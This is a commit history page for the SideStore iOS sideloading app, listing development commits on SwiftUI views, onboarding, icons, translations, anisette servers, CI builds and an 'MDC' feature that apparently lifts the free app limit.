Compare commits

..

595 Commits

Author SHA1 Message Date
naturecodevoid
8cb5b3d47d ci: trigger build 2023-06-19 13:44:14 -07:00
Spidy123222
3d9c5ad890 Add onboarding issue number
Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>
2023-06-14 19:02:15 -07:00
naturecodevoid
6f14b6b046 improve: move Reset Image Cache to Dev Mode 2023-06-14 18:54:18 -07:00
naturecodevoid
c3f5d9f218 fix(MDC): use free app limit for messages instead of hardcoding 3
it might be better to specify "with MDC"
2023-06-14 18:51:34 -07:00
naturecodevoid
91d3a528a0 improve: enable dev mode by default on simulator 2023-06-14 17:49:48 -07:00
naturecodevoid
0fc8f3d72e improve: fakeUndo3AppLimitPatch button wording 2023-06-14 17:48:39 -07:00
naturecodevoid
a959dd73bb feat(dev mode): add button to force 10 app limit 2023-06-14 17:47:30 -07:00
naturecodevoid
3c0995b5fa improve: lock more things behind UNSTABLE compile time flag 2023-06-13 20:40:35 -07:00
naturecodevoid
34bbe93b3d improve: move onboarding into a separate unstable feature 2023-06-13 20:37:26 -07:00
Spidy123222
ff24ea81c9 Add proper GitHub issues
Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>
2023-06-12 23:27:27 -07:00
Spidy123222
18d251c364 Merge branch 'develop' into feature/unstable-features 2023-06-12 23:09:30 -07:00
Spidy123222
5864c283f6 Add EmuPalace Source 2023-06-12 20:35:36 -07:00
Spidy123222
be78fa4b91 Upload config (#383)
Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>
2023-06-12 09:39:20 -07:00
naturecodevoid
2ff637f62e [skip ci] refactor: rename CowExploits to MDC 2023-06-04 08:08:48 -07:00
naturecodevoid
373a73c158 fix(MDC): make Info.plist valid again and actually use the info.plist preprocessor 2023-06-04 08:01:45 -07:00
naturecodevoid
95e98a17bb fix: add NSAppleMusicUsageDescription to Info.plist for MDC 2023-06-04 07:31:58 -07:00
naturecodevoid
8bd8ec8723 fix(MDC): revert f1shy's MDC changes and renames 2023-06-04 07:19:42 -07:00
naturecodevoid
e7f766095a fix(SwiftUI onboarding): make pairing file text wrap, only show full onboarding if SwiftUI unstable feature is enabled
also update anisette servers
2023-06-03 12:40:47 -07:00
naturecodevoid
7e9aafe86e ci: fix early build exit 2023-06-03 11:09:05 -07:00
naturecodevoid
51f900a5bb style: remove whitespace from README 2023-06-03 10:52:54 -07:00
naturecodevoid
02e63f2303 Merge remote-tracking branch 'origin/develop' into feature/unstable-features 2023-06-03 10:52:15 -07:00
naturecodevoid
b45108e519 ci: trigger build 2023-06-03 10:45:02 -07:00
naturecodevoid
28ecca5ed0 ci: make MDC ipa 2023-06-03 10:40:04 -07:00
naturecodevoid
742feed356 fix: compile error when not making an MDC build 2023-06-03 07:17:18 -07:00
naturecodevoid
b8c12a1041 fix: compile error 2023-06-02 22:06:05 -07:00
naturecodevoid
a6349198cf improve: use guard instead of if 2023-06-01 07:39:36 -07:00
naturecodevoid
465c87d442 feat: MDC (and update generated localizations and project file) 2023-06-01 07:38:26 -07:00
naturecodevoid
40c6d60138 improve: add more capabilities to FilledButtonStyle 2023-06-01 07:37:07 -07:00
naturecodevoid
7bb1c1cf05 refactor: Reduce duplicate code with Error.message()
also add some things I forgot in previous commits
2023-06-01 07:36:40 -07:00
naturecodevoid
175b5bec95 refactor: Reduce duplication code with UIApplication.keyWindow and .topController and improve alert function 2023-06-01 07:35:07 -07:00
naturecodevoid
f69ad9830a improve: put dev mode in better sections 2023-06-01 07:26:30 -07:00
naturecodevoid
3ee53e8c2b fix(SwiftUI): improve chevronRight colors for credit links 2023-05-29 20:33:30 -07:00
Spidy123222
b3abf69a02 Change label to 0.4.0
Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>
2023-05-29 19:33:38 -07:00
Spidy123222
c530dc11ae Change default anisette to v3 anisette server (#367) 2023-05-29 19:15:15 -07:00
naturecodevoid
93ae81159e move UnstableFeaturesView to Unstable Features folder 2023-05-29 18:56:48 -07:00
naturecodevoid
6a942a3971 feat: enable unstable features on nightly and PR builds 2023-05-29 18:08:47 -07:00
naturecodevoid
5853aaa778 update comment with URL of example of onEnable and onDisable hooks to use a more permanent URL
Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
2023-05-27 22:21:36 -07:00
naturecodevoid
54703ddca3 feat: allow changing SideStore app icon from within My Apps 2023-05-27 22:10:26 -07:00
naturecodevoid
ce90ae4195 Remove Settings.bundle in favor of in-app advanced settings 2023-05-27 21:57:30 -07:00
naturecodevoid
026392dbc7 More improvements and fixes (see commit description)
- put SwiftUI in an unstable feature
- Add Reset adi.pb to SwiftUI settings
- Add localizations to more things such as Error Log and Refresh Attempts
- Move debug logging into Advanced Settings
- Add padding to version text at the bottom of SwiftUI settings
- Add some things to Unstable Features such as nesting the Feature enum in UnstableFeatures and allowing on enable/disable hooks
- Don't use ObservableObject for UnstableFeatures as it's not needed
- fix a bug with unstable features where the toggle would be reverted if you go into another tab and then back
- Use SwiftUI advanced settings in UIKit
2023-05-27 21:53:04 -07:00
naturecodevoid
d2c15b5acd project: strip all symbols in an attempt to exclude swiftui from non-unstable builds and reduce binary size 2023-05-24 21:02:23 -07:00
naturecodevoid
2219035cd0 More improvements to unstable features and advanced settings
- added description of what they are and notice if there are none available
- move them to advanced settings
- add alert for unstable features in dev mode if the build does not have them enabled
- move stuff out of the danger zone and into anisette section in advanced settings
2023-05-24 21:01:11 -07:00
Joelle Stickney
d368ddbd11 Merge pull request #365 from lonkelle/develop
Co-authored-by: Joe Mattiello <mail@joemattiello.com>
2023-05-24 23:11:22 -04:00
Joelle Stickney
e5c6521a15 Co-authoring all the things
Co-authored-by: Joe Mattiello <mail@joemattiello.com>
2023-05-24 23:08:33 -04:00
Joelle Stickney
898a59768e Update README.md
Co-authored-by: Joe Mattiello <mail@joemattiello.com>
2023-05-24 23:04:45 -04:00
naturecodevoid
a8917f095e fix: remove jkcoxson anisette servers from SwiftUI advanced settings 2023-05-24 07:39:58 -07:00
naturecodevoid
3cab2e5d15 fix: add https to ani.sidestore.io in SwiftUI advanced settings 2023-05-24 07:38:39 -07:00
Joelle Stickney
a85bc93142 Update README.md
Co-authored-by: Joe Mattiello <mail@joemattiello.com>

Signed-off-by: Joelle Stickney <joellestickney+commit@gmail.com>
2023-05-24 03:56:58 -04:00
Joelle Stickney
c6c1f9faa0 Update README.md
Co-authored-by: JoeMatt <mail@joemattiello.com>

Signed-off-by: Joelle Stickney <joellestickney+commit@gmail.com>
2023-05-24 03:55:28 -04:00
Joelle Stickney
0eea19c9cc Update README.md
Signed-off-by: Joelle Stickney <joellestickney+commit@gmail.com>
2023-05-24 03:53:51 -04:00
naturecodevoid
e2c5267d3f fix: rename allowDevModeOnlyFeatures to inDevMode and simplify dummy filtering 2023-05-20 14:35:59 -07:00
naturecodevoid
5709229fdf fix: remove weird character
Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
2023-05-20 14:28:33 -07:00
naturecodevoid
e1607d2f61 fix: Hide ratings in app detail 2023-05-20 14:23:45 -07:00
naturecodevoid
637a0354c5 feat: view to enable/disable Unstable Features 2023-05-20 14:23:25 -07:00
Fabian Thies
9c3461b0c6 Fix disabling horizontal scroll on onboarding screens and made showing only certain steps more reusable 2023-05-20 22:14:50 +02:00
naturecodevoid
e3103b3034 Move TabBarController.swift into UIKit folder 2023-05-20 12:42:19 -07:00
naturecodevoid
2db073d2c5 Reorganize AltStore project into UIKit and SwiftUI folders 2023-05-20 12:35:53 -07:00
naturecodevoid
e06cca8224 Fixes (see commit description)
- Fix issue caused by merge
- Improve icons in onboarding
- Use onboarding's pairing file step properly
2023-05-20 12:25:07 -07:00
naturecodevoid
3a7cd29b22 Merge SwiftUI (#221) + SwiftUI improvements (#265)
commit 22f1ff7cd7d4d4750eeda2067d23846900239b83
Author: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
Date:   Sat May 20 11:29:01 2023 -0700

    fix: actually disable LocalConsole's character limit

commit 4b51915da7bc0637ccf819ac45c7d727d450ae12
Author: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
Date:   Sat May 20 11:27:12 2023 -0700

    Merge SwiftUI improvements (#265)

    commit 7f73f2adef
    Merge: 72f34dd2 38a1c7ee
    Author: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
    Date:   Sat May 20 11:23:07 2023 -0700

        Merge remote-tracking branch 'origin/fabianthdev/feature/SwiftUI' into naturecodevoid/swiftui-improvements

    commit 72f34dd286
    Author: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
    Date:   Wed Apr 12 18:21:49 2023 -0700

        feat: default to Storm icon for PR builds

        Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

    commit 060c37c423
    Author: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
    Date:   Sun Apr 9 19:40:53 2023 -0700

        fix(icons): sky appears correctly in light mode

    commit 8c2968aeb3
    Author: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
    Date:   Sun Apr 9 14:29:03 2023 -0700

        fix: build errors

    commit 4f512b6318
    Author: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
    Date:   Sun Apr 9 13:54:01 2023 -0700

        project(minimuxer): fix actions build error

    commit 5b752cf26e
    Author: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
    Date:   Sun Apr 9 13:51:54 2023 -0700

        fix: remove duplicate isSideStore checks with a StoreApp extension

    commit 62a478277e
    Author: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
    Date:   Sun Apr 9 13:41:58 2023 -0700

        fix(AsyncFallibleButton): try to use failureReason and then fallback to localizedDescription

    commit 994b2318a9
    Author: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
    Date:   Sun Apr 9 13:38:44 2023 -0700

        feat(dev mode): add AFC file explorer and dump profiles

    commit 423ac28ba3
    Author: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
    Date:   Sun Apr 9 13:35:14 2023 -0700

        project(AltStore): xcode wants to move these around I guess

    commit af2cdd48d6
    Author: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
    Date:   Sun Apr 9 13:34:57 2023 -0700

        feat: add debug logging toggle

    commit 44fe0c5686
    Author: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
    Date:   Sun Apr 9 13:33:11 2023 -0700

        project(minimuxer): Add libminimuxer as an input file for build step

    commit 3d46a3069a
    Author: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
    Date:   Sun Apr 9 13:32:22 2023 -0700

        fix: handle source conflict in merge policy

    commit 82e8fb7389
    Author: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
    Date:   Sun Apr 9 13:31:39 2023 -0700

        docs: include info on Developer Mode

    commit 1dd0cd7d90
    Merge: 92a9650c 566841a9
    Author: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
    Date:   Thu Apr 6 21:07:33 2023 -0700

        Merge branch 'fabianthdev/feature/SwiftUI' into naturecodevoid/swiftui-improvements

    commit 566841a9a6
    Author: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
    Date:   Thu Apr 6 21:06:07 2023 -0700

        Fix not being able to open the project

    commit 92a9650c0c
    Author: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
    Date:   Thu Apr 6 20:49:49 2023 -0700

        Apply DevModeView suggestion

    commit df94e79472
    Merge: d3cfc4ba cd2c5ad7
    Author: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
    Date:   Thu Apr 6 20:48:52 2023 -0700

        Merge branch 'fabianthdev/feature/SwiftUI' into naturecodevoid/swiftui-improvements

    commit cd2c5ad7b4
    Merge: 3466870d 6146f1bd
    Author: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
    Date:   Thu Apr 6 20:43:10 2023 -0700

        Merge remote-tracking branch 'origin/develop' into fabianthdev/feature/SwiftUI

    commit d3cfc4bab9
    Author: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
    Date:   Wed Feb 22 13:05:11 2023 -0800

        FileExplorer: Replace file when inserting

    commit df62461d4a
    Author: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
    Date:   Wed Feb 22 13:04:52 2023 -0800

        Settings: Add Export Logs and commit xcodeproj changes

    commit 817d2de5e0
    Author: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
    Date:   Wed Feb 22 12:19:07 2023 -0800

        Rename View+SideStore

    commit 3ea478ad05
    Author: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
    Date:   Wed Feb 22 12:18:42 2023 -0800

        DevMode: Add password

    commit 13f9a9d1bf
    Author: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
    Date:   Wed Feb 22 11:43:13 2023 -0800

        AdvancedSettingsView: improve anisette URL by using a label instead of a placeholder

    commit 3821a6034d
    Author: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
    Date:   Tue Feb 21 17:34:56 2023 -0800

        project: attempt to fix crashing on launch

    commit 3e8d7da0c3
    Author: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
    Date:   Sun Feb 19 13:49:22 2023 -0800

        AdvancedSettingsView: Remove autocomplete from anisette URL text field

    commit a42c1a705f
    Author: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
    Date:   Sun Feb 19 13:25:59 2023 -0800

        SettingsView: Adjust ordering a little bit and remove accent color

    commit 30efc6f210
    Author: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
    Date:   Sun Feb 19 13:19:26 2023 -0800

        LaunchViewController: Revert changes

    commit 60412721ee
    Author: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
    Date:   Sun Feb 19 13:04:42 2023 -0800

        Fix build errors

        hopefully this doesn't have any unintended side effects

    commit cba00a3b9d
    Author: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
    Date:   Sun Feb 19 12:03:22 2023 -0800

        Add Advanced Settings in-app

    commit 2aa880d10e
    Author: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
    Date:   Sun Feb 19 10:56:01 2023 -0800

        Fix build errors after merge

    commit 47848ddd18
    Merge: deac960e 3466870d
    Author: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
    Date:   Sun Feb 19 09:56:21 2023 -0800

        Merge branch 'fabianthdev/feature/SwiftUI' into naturecodevoid/swiftui-improvements

        Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

    commit deac960e10
    Author: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
    Date:   Sun Feb 19 09:54:56 2023 -0800

        Revert OutputCapturer changes since Fabian already added the fix

    commit 9f05123e42
    Author: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
    Date:   Sun Feb 19 09:16:49 2023 -0800

        AppIconView: Make isSideStore required

    commit d9a4b07095
    Author: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
    Date:   Sun Feb 19 09:16:07 2023 -0800

        Fix changing SideStore app icon not displaying My Apps

    commit 839699ee03
    Author: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
    Date:   Sun Feb 19 09:00:19 2023 -0800

        Icons: add Vista by Swifticul

    commit 81409227d6
    Author: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
    Date:   Sun Feb 19 08:06:33 2023 -0800

        Add developer mode

    commit 49b9be160f
    Author: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
    Date:   Sun Feb 19 07:57:29 2023 -0800

        AppRowView: Disable ratings if there aren't any ratings

    commit 3466870d8f
    Author: Fabian Thies <git@fabian-thies.de>
    Date:   Sun Feb 19 14:31:01 2023 +0100

        [ADD] UI for writing an app review and submit an app rating

    commit ffe8a92a4e
    Author: Fabian Thies <git@fabian-thies.de>
    Date:   Sun Feb 19 14:30:21 2023 +0100

        [CHANGE] UI fixes and SwiftUI previews for easier development

    commit bc2cae46a8
    Author: Fabian Thies <git@fabian-thies.de>
    Date:   Sun Feb 19 14:25:13 2023 +0100

        [ADD] Refresh all apps functionality in MyAppsView

    commit a95d8a502c
    Author: Fabian Thies <git@fabian-thies.de>
    Date:   Sun Feb 19 11:40:26 2023 +0100

        [FIX] STDOUT output not visible in Xcode console

    commit 19e66112dd
    Author: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
    Date:   Sat Feb 18 20:27:06 2023 -0800

        SourcesView: Fix 1 trusted source causing an error making all trusted sources fail to load

    commit 0d3cb843ea
    Author: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
    Date:   Sat Feb 18 20:26:32 2023 -0800

        SourcesViewController: Fix 1 trusted source causing an error making all trusted sources fail to load

    commit df1a662acc
    Author: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
    Date:   Sat Feb 18 20:25:58 2023 -0800

        FetchTrustedSourcesOperation: Remove redundant if statement

    commit 684c9e08eb
    Author: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
    Date:   Sat Feb 18 10:48:05 2023 -0800

        Fix HMR

    commit c585c57965
    Author: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
    Date:   Fri Feb 17 18:51:06 2023 -0800

        Revert fixes since it didn't actually fix the problem

    commit 3605ca6422
    Author: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
    Date:   Fri Feb 17 18:20:56 2023 -0800

        Fix HMR again

    commit 40f4c94f4d
    Author: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
    Date:   Fri Feb 17 18:11:25 2023 -0800

        Fix HMR crashing the app

    commit 986465d8f4
    Author: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
    Date:   Fri Feb 17 17:44:56 2023 -0800

        Project: Add HMR

        https://github.com/krzysztofzablocki/Inject#individual-developer-setup-once-per-machine

    commit 09db1ba9fc
    Author: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
    Date:   Thu Feb 16 18:13:32 2023 -0800

        SettingsView: Move App Icon to a new, general settings section

    commit 8874480b8c
    Author: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
    Date:   Thu Feb 16 17:57:51 2023 -0800

        Icons: invert Sky

    commit f0cc4613da
    Author: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
    Date:   Thu Feb 16 17:57:19 2023 -0800

        AppIconsView: Add artists

    commit bec78322a4
    Author: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
    Date:   Wed Feb 15 21:00:28 2023 -0800

        actions: Add build step that changes default icon

    commit 03777fd2e7
    Author: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
    Date:   Wed Feb 15 20:49:07 2023 -0800

        Icons: add Sky, Honeydew, Midnight

    commit 96ae60a9f2
    Author: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
    Date:   Wed Feb 15 19:36:10 2023 -0800

        AppIconsView: improve the way primary icons are handled

    commit c7ad6b10a1
    Author: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
    Date:   Wed Feb 15 19:35:57 2023 -0800

        Icons: reduce image sizes

    commit 8b8e471c97
    Author: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
    Date:   Wed Feb 15 18:52:42 2023 -0800

        Add App Icon changer

    commit 38c0a8a9a3
    Author: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
    Date:   Tue Feb 14 08:24:49 2023 -0800

        Fix ConnectAppleIDView being shoved into a sidebar on iPad

    commit e7ff6496c1
    Author: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
    Date:   Tue Feb 14 08:20:16 2023 -0800

        AuthenticationOperation: fix 2FA code not being displayed

        Bandaid fix, it would be better to have the alert in ConnectAppleIDView

    commit c2e89b09ea
    Author: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
    Date:   Mon Feb 13 21:44:48 2023 -0800

        RootView: Fix UI being shoved into sidebar on iPad (closes #264, thanks @Swifticul!)

    commit ec4dbb6679
    Author: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
    Date:   Mon Feb 13 21:06:59 2023 -0800

        OutputCapturer: fix logging disappearing from Xcode/idevicedebug run

    commit d80c9ba2a8
    Author: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
    Date:   Mon Feb 13 21:06:17 2023 -0800

        remove unused apps.json files

    commit b2f81bf7c6
    Author: Fabian Thies <git@fabian-thies.de>
    Date:   Mon Feb 13 18:56:34 2023 +0100

        [ADD] LocalConsole showing STDOUT and STDERR

    commit 2fffa6e122
    Author: Fabian Thies <git@fabian-thies.de>
    Date:   Sat Feb 4 14:35:58 2023 +0100

        [FIX] App compatibility info

    commit 723c8e9539
    Author: Fabian Thies <git@fabian-thies.de>
    Date:   Sat Feb 4 14:29:02 2023 +0100

        [ADD] Debug entries for refresh attempts, sending feedback, advanced settings, and resetting the pairing file

    commit 07159b0ea6
    Author: Fabian Thies <git@fabian-thies.de>
    Date:   Sat Feb 4 13:07:04 2023 +0100

        [ADD] Error log view

    commit e0bd54389c
    Author: Fabian Thies <git@fabian-thies.de>
    Date:   Sat Feb 4 12:55:25 2023 +0100

        [FIX] Various UI issues

    commit 57213fbf0c
    Author: Fabian Thies <git@fabian-thies.de>
    Date:   Sat Feb 4 12:46:43 2023 +0100

        [ADD] App report button and trusted source badge in app detail view

    commit 0239dfcd6d
    Author: Fabian Thies <git@fabian-thies.de>
    Date:   Fri Feb 3 18:19:07 2023 +0100

        [FIX] AppIDsView and authentication workflow

    commit 5af6f825ee
    Author: Fabian Thies <git@fabian-thies.de>
    Date:   Fri Feb 3 18:16:48 2023 +0100

        [FIX] Full screen app screenshot previews

    commit b4859512ab
    Author: Fabian Thies <git@fabian-thies.de>
    Date:   Fri Feb 3 14:58:06 2023 +0100

        [FIX] Accent color

    commit 3d0f385af7
    Author: Fabian Thies <git@fabian-thies.de>
    Date:   Tue Jan 31 22:38:42 2023 +0100

        [CHANGE] Overhaul of the AppDetailView with version history, reviews & ratings, and app information

    commit f3e58e1485
    Author: Fabian Thies <git@fabian-thies.de>
    Date:   Tue Jan 31 22:37:37 2023 +0100

        [UPDATE] AppPillButton dimensions and expiration text

    commit d3e04c1db7
    Author: Fabian Thies <git@fabian-thies.de>
    Date:   Tue Jan 31 22:35:09 2023 +0100

        [FIX] Show App IDs button only if user is logged in with their Apple ID

    commit ed1970245a
    Author: Fabian Thies <git@fabian-thies.de>
    Date:   Tue Jan 31 22:32:11 2023 +0100

        [ADD] Load and show trusted sources with option to add them to the app

    commit 15dd885a1b
    Author: Fabian Thies <git@fabian-thies.de>
    Date:   Tue Jan 31 22:30:21 2023 +0100

        [ADD] Credits section in SettingsView

    commit 4663c01700
    Author: Fabian Thies <git@fabian-thies.de>
    Date:   Mon Jan 16 21:23:16 2023 +0100

        [CHANGE] Extracted all strings into the Localizable.strings

    commit e733601c66
    Author: Fabian Thies <git@fabian-thies.de>
    Date:   Mon Jan 16 19:03:33 2023 +0100

        [FIX] Text alignment in SettingsView

    commit fc974a8079
    Author: Fabian Thies <git@fabian-thies.de>
    Date:   Mon Jan 16 19:02:58 2023 +0100

        [ADD] Hint for new users who don't have any sources

    commit 6aaadc79e5
    Author: Fabian Thies <git@fabian-thies.de>
    Date:   Mon Jan 16 18:59:39 2023 +0100

        [ADD] AppScreenshot view with ImageProcessor to automatically rotate landscape screenshots

    commit b9177e89c6
    Author: Fabian Thies <git@fabian-thies.de>
    Date:   Fri Jan 13 13:37:38 2023 +0100

        [FIX] Issues introduced by changes to the AltSource specification.

    commit 1531c0a77f
    Author: Fabian Thies <github@fabian-thies.de>
    Date:   Fri Jan 13 12:48:27 2023 +0100

        [UPDATE] Translations (#7)

        This PR merges all the new translations made on the SideStore weblate instance (https://translate.sidestore.io/projects/sidestore/app).

        New translations:
        - French
        - Korean

        Updated translations:
        - Spanish

        Co-authored-by: bogotesr <bogotesr@gmail.com>
        Co-authored-by: GABO1423 <35014183+GABO1423@users.noreply.github.com>
        Co-authored-by: Joss Laymon <71040782+bogotesr@users.noreply.github.com>
        Co-authored-by: mindfreakdev <shost212@gmail.com>
        Co-authored-by: Python <rjp2030@proton.me>
        Co-authored-by: Testi Cules <ervd516@gmail.com>

    commit 1dde36face
    Author: Fabian Thies <git@fabian-thies.de>
    Date:   Fri Jan 13 12:25:50 2023 +0100

        [FIX] Changes made by Xcode 14 after building the app

    commit c3c3783ba4
    Author: Upal <shost212@gmail.com>
    Date:   Mon Dec 26 19:18:33 2022 +0530

        Added Hindi Language (#5)

        * Added Hindi Language

    commit 8400af3423
    Author: mindfreakdev <shost212@gmail.com>
    Date:   Sun Dec 25 16:52:01 2022 +0530

        Added Dutch Language

    commit 243c7efc09
    Author: mindfreakdev <shost212@gmail.com>
    Date:   Sun Dec 25 12:30:42 2022 +0530

        Added Ukrainian Language

    commit 0298a0235b
    Author: mindfreakdev <shost212@gmail.com>
    Date:   Sun Dec 25 12:28:00 2022 +0530

        Added Ukrainian Language

    commit e5b2496b09
    Author: Gabriel Morazán <35014183+GABO1423@users.noreply.github.com>
    Date:   Sun Dec 25 01:08:47 2022 -0400

        Screen Crunch sucks

        Signed-off-by: Gabriel Morazán <35014183+GABO1423@users.noreply.github.com>

    commit 75c52a3af2
    Author: GABO1423 <35014183+GABO1423@users.noreply.github.com>
    Date:   Sun Dec 25 00:58:22 2022 -0400

        Spanish Translation Tweaks

    commit 2c07009b04
    Author: bogotesr <bogotesr@gmail.com>
    Date:   Sat Dec 24 21:06:28 2022 -0700

        Add es-419 and finish adding support for the translations

        Added Latin American Spanish (probably not the best translation)

        Made everything reference the swiftgen stuff rather than having strings

    commit 6257fdcd61
    Author: Fabian Thies <git@fabian-thies.de>
    Date:   Thu Dec 22 10:29:57 2022 +0100

        [CHANGE] Extracted some example strings and replaced them by generated localized strings

    commit e23956d4ed
    Author: Fabian Thies <git@fabian-thies.de>
    Date:   Thu Dec 22 10:21:57 2022 +0100

        [ADD] SwiftGen configuration and generated files

    commit 1341de8315
    Author: Fabian Thies <git@fabian-thies.de>
    Date:   Thu Dec 22 10:10:58 2022 +0100

        [ADD] Empty Localizable.strings

    commit 77f5844e4d
    Author: Fabian Thies <git@fabian-thies.de>
    Date:   Fri Jan 13 12:04:10 2023 +0100

        [WIP] AppScreenshot view with ImageProcessor to automatically rotate landscape images. Possible through my fork of the AsyncImage framework.

    commit b3c4819e8d
    Author: Fabian Thies <git@fabian-thies.de>
    Date:   Fri Jan 13 12:02:56 2023 +0100

        [WIP] Fetch trusted sources in SourcesView

    commit a6ca73f8fc
    Author: Fabian Thies <git@fabian-thies.de>
    Date:   Fri Jan 13 12:02:06 2023 +0100

        [WIP] AppIDs view in My Apps section

    commit f17d00c0bc
    Author: Fabian Thies <git@fabian-thies.de>
    Date:   Fri Jan 13 12:00:00 2023 +0100

        [ADD] Badge in AppDetailView for apps from the official source and (WIP) trusted sources

    commit 875453533b
    Author: Fabian Thies <git@fabian-thies.de>
    Date:   Fri Jan 13 11:58:25 2023 +0100

        [ADD] Hint view in MyAppsView telling the user about where to find updates in the future if no updates are available

    commit 9a7a39a58e
    Author: Fabian Thies <git@fabian-thies.de>
    Date:   Fri Jan 13 11:54:44 2023 +0100

        [FIX] App permission icon color

    commit 65db392388
    Author: Fabian Thies <git@fabian-thies.de>
    Date:   Fri Jan 13 11:51:06 2023 +0100

        [ADD] Show source name and external url domain in NewsItemView

    commit 6a6fc22995
    Author: Fabian Thies <git@fabian-thies.de>
    Date:   Fri Dec 23 16:02:57 2022 +0100

        [ADD] Full-screen app screenshot preview

    commit 5697c4c063
    Author: Fabian Thies <git@fabian-thies.de>
    Date:   Fri Dec 23 15:21:16 2022 +0100

        [CHANGE] Replace system image name strings with SFSymbols

    commit bcd54067d3
    Author: Fabian Thies <git@fabian-thies.de>
    Date:   Fri Dec 23 13:12:39 2022 +0100

        [ADD] Dependency: SFSafeSymbols

    commit c7ce32a562
    Author: Fabian Thies <git@fabian-thies.de>
    Date:   Wed Dec 21 17:49:49 2022 +0100

        [ADD] WIP: Promoted category cards and app list filter button in BrowseView

    commit 5a1496a3cd
    Author: Fabian Thies <git@fabian-thies.de>
    Date:   Wed Dec 21 17:48:45 2022 +0100

        [FIX] AccentColor in dark mode

    commit 497c048240
    Author: Fabian Thies <git@fabian-thies.de>
    Date:   Wed Dec 21 17:48:23 2022 +0100

        [ADD] Carousel for SideStore-specific announcements in NewsView

    commit 02e48a207f
    Author: Fabian Thies <git@fabian-thies.de>
    Date:   Wed Dec 21 17:45:44 2022 +0100

        [ADD] WIP: Add My Apps view with support for sideloading new apps, refreshing installed apps and much more

    commit a0eb30f98e
    Author: Fabian Thies <git@fabian-thies.de>
    Date:   Mon Dec 12 19:20:54 2022 +0100

        [CHANGE] Fixed the AppRowView background blur effect

    commit 378631e976
    Author: Fabian Thies <git@fabian-thies.de>
    Date:   Mon Dec 12 19:20:10 2022 +0100

        [ADD] Backported dismiss() environment variable to let views dismiss themselves

    commit 0e7083539d
    Author: Fabian Thies <git@fabian-thies.de>
    Date:   Mon Dec 12 19:18:57 2022 +0100

        [ADD] Search bar for BrowseView on iOS 15

    commit 0c034b61d9
    Author: Fabian Thies <git@fabian-thies.de>
    Date:   Mon Dec 12 19:16:36 2022 +0100

        [CHANGE] Fetch news when NewsView appears

    commit 89dea75b84
    Author: Fabian Thies <git@fabian-thies.de>
    Date:   Mon Dec 12 19:15:16 2022 +0100

        Improved app detail view

    commit 81ea791b63
    Author: Fabian Thies <git@fabian-thies.de>
    Date:   Mon Dec 12 19:12:38 2022 +0100

        [ADD] Authentication view for connecting SideStore to an Apple ID

    commit c81f716427
    Author: Fabian Thies <git@fabian-thies.de>
    Date:   Sun Nov 27 16:41:30 2022 +0100

